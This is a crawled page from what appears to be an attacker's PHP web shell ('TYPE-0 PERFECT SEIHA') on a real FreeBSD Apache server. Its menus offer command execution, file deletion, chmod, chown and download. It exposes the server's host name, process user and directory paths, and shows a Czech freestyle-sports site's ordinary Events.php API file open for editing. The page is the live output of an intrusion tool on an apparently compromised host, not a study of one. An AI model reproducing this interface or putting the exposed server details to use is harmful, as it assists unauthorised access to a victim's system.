TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
app
Rest
Events
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/app/Rest/Events/Events.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Events; use Application\FsKempyRest; use Nette\Caching\Cache; use Nette\Caching\IStorage; use Nette\Utils\ArrayHash; use RestServer\IParametrs; use RestServer\IPresenter; use RestServer\Response; /** * Events * @author Jan Pospisil */ class Events extends \Nette\Object implements IPresenter { private $fsKempyRest; private $cache; public function __construct(FsKempyRest $fsKempyRest, IStorage $storage) { $this->fsKempyRest = $fsKempyRest; $this->cache = new Cache($storage, 'camps'); } public function run(IParametrs $parameters, Response $response) { $current = array(); $past = array(); $counter = 1; foreach($this->fetchDataFromFreestyleKempy(TRUE) as $kemp){ if($kemp->past) $past[$kemp->start.$counter] = $kemp; else $current[$kemp->start.$counter] = $kemp; $counter++; } foreach($this->fetchDateFromCampsFreestylezoo() as $camp){ $past[$camp->start.$counter] = $camp; $counter++; } foreach($this->fetchEventsFromFacebook(TRUE) as $meeting){ if($meeting->past) $past[$meeting->start.$counter] = $meeting; else $current[$meeting->start.$counter] = $meeting; $counter++; } ksort($current); krsort($past); $response->data = array( 'current' => array_values($current), 'past' => array_values($past) ); } private function fetchDataFromFreestyleKempy($history = FALSE) { // current at www.freestyle-kempy.cz $params = array( 'organization' => 5, 'end_from' => date('Y-m-d H:i:s'), 'order' => 'start', ); $current = $this->fsKempyRest->api('/camps', \Teze\Rest\Client\Rest::GET, $params); // previous at www.freestyle-kempy.cz if($history){ $params = array( 'organization' => 5, 'end_from' => date('2014-04-01 00:00:00'), 'end_to' => date('Y-m-d H:i:s'), 'order' => 'start DESC', ); $previous = $this->fsKempyRest->api('/camps', \Teze\Rest\Client\Rest::GET, $params); } // join camps from www.freestyle-kempy.cz $return = array(); foreach($current->camps as $camp){ $camp->past = FALSE; $return[] = $this->prepareCamp($camp); } if($history){ foreach($previous->camps as $camp){ $camp->past = TRUE; $return[] = $this->prepareCamp($camp); } } return $return; } private function prepareCamp($campRow){ return ArrayHash::from(array( 'name' => $campRow->title, 'start' => $campRow->start, 'place' => $campRow->place->name, 'past' => $campRow->past, 'type' => 'CAMP', 'id' => 'camp_'.$campRow->id )); } private function fetchDateFromCampsFreestylezoo() { $oldCamps = $this->cache->load('camps'); if(!$oldCamps){ $url = 'http://camps.freestylezoo.net/rest/camps'; $toStore = $oldCamps = ArrayHash::from(json_decode(file_get_contents($url), TRUE)); $this->cache->save('camps', $toStore); $oldCamps = $this->cache->load('camps'); } foreach($oldCamps as $camp){ $camp->past = TRUE; $camp->type = 'CAMP'; $return[] = $this->prepareCamp($camp); } return ArrayHash::from($return); } private function fetchEventsFromFacebook($history = FALSE) { $return = array(); foreach(ArrayHash::from(json_decode(file_get_contents('https://www.freestylezoo.net/cron.meeting-api'), TRUE)) as $meeting){ $meeting->type = 'MEETING'; if(!$history && $meeting->past) continue; $meeting->id = 'meeting_'.$meeting->id; $return[] = $meeting; } return $return; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Events.php
3485
0644
2016-02-23 12:46:55
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin